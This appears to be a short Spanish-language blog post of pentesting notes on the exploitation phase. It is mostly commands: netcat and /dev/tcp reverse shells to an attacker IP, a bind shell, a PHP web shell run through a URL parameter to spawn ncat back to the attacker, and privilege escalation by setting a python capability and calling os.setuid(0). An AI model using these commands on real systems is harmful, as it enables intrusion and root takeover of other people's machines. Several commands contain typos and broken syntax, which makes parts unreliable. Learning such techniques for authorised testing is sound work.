Fase de explotación

Fase de explotación

·

3 min read

  • Reverse shell

  • Bind shell

  • Fordward shell

  • Listar permisos

  • Capabilities

  • Procesos

Reverse shell

se establece una conexión desde la máquina comprometida hacia la máquina del atacante.

desde la maquina comprometida:

nc -nlvp 443

me pongo en escucha y luego lanzo el siguiente comando para recibir consola interactiva.

 nc -e /bin/bash 192.168.1.16 443
 bash -i >& /dev/tcp/192.168.1.16/443 0>1

Bind shell

Desde la maquina victima ejecutas un comando, abres un puerto de forma temporal

nc -nlvp 4646 -e /bin/bash

como atacante te conectas con ese puerto que has abierto

nc ipVictima 4646

Fordward shell

Si hay un firewall, para entrablar una rever shell, con named pipe y mkfifo pata conseguir una shell interactiva, sin usar tcp

iptables --flush
iptables -A INPUT -p tcp --dport 80 -j ACCEPT 
iptables -A INPUT -p tcp --dport 0:65535 - m ctstate NEW -j DROP 
iptales -A OUTPUT -p tcp -m tcp -o eth0

Ahora me hago una shell en un script en php cmd.php

<?
echo "<pre>" - shell_exec($_GET['cmd']) . "</pre>"; 
?>

recargo

service apache2 restart

Si hay problemas entrar en

nano /etc/php/8.1/apache2/php.ini poner en on:

short_open_tag = on

que por defecto viene en off

service apache2 restart

si en el navegador pongo localhost/cmp.php?cmd= Aqui puedo ejecutar comandos

localhost/cmp.php?cmd=ncat -e /bin/bash 192.168.17.1 443

pongo la ip de la maquina victima. y en escucha por el puerto 443 en la url me pongo en escucha nc -nlvp 443 y ganaria acceso.

Listar permisos

Si ya estamos en una máquina pero como usuario no privilegiado y queremos saber que permisos tiene:

whoami
id
sudo -l
find -perm -4000 2>/dev/null

si como salida de ejecutar este comando veo que esta en el grupo de python, podria tener python instalado, simplemente al entrar en la consola de python, ya seria root y podria ejecurar comandos como root

python3.9
>>>impor os
>>>os.system ("whoami")
>>>h4nna
0
>>>os.setuid(0)
>>>os.system ("whoami")
>>>root
0
>>>os.system ("bash")
>>>os.system ("whoami")

si tubiera permisos s udi podria ejecutar coandos como root. en este caso no tenía.

Capabilities

getcap -r / 2>/dev/null
setcap cap_setuid+ep /usr/bin/python3.11

tambíen se podría mirar si se tienen permisos para ejecutar tareas cron

crontab -l
cat /etc/crontab

listar los timer

systemctl list-timers

Tambíen nos puede interesar ver comandos que repotan los procesos que se ejecutan y por quíen

ps -eo command

o podriamos ejecutarnos el siguiente script que me repota quien esta ejecutando cada proceso, actualizandose la variable de old preocess y new process, para salir hay que hacerlo con control +c

#!/bin/bash

function ctrl_c(){
    echo -e "\n\n[!] Saliendo...\n"
    exit 1
}


# Ctrl+C
trap ctrl_c SIGINT

old_process=$(ps -eo user,command)

while true; do
    new_process=$(ps -eo user,command)
    diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\>]" | grep -vE "command|procmon|kworker"
    old_process=$new_process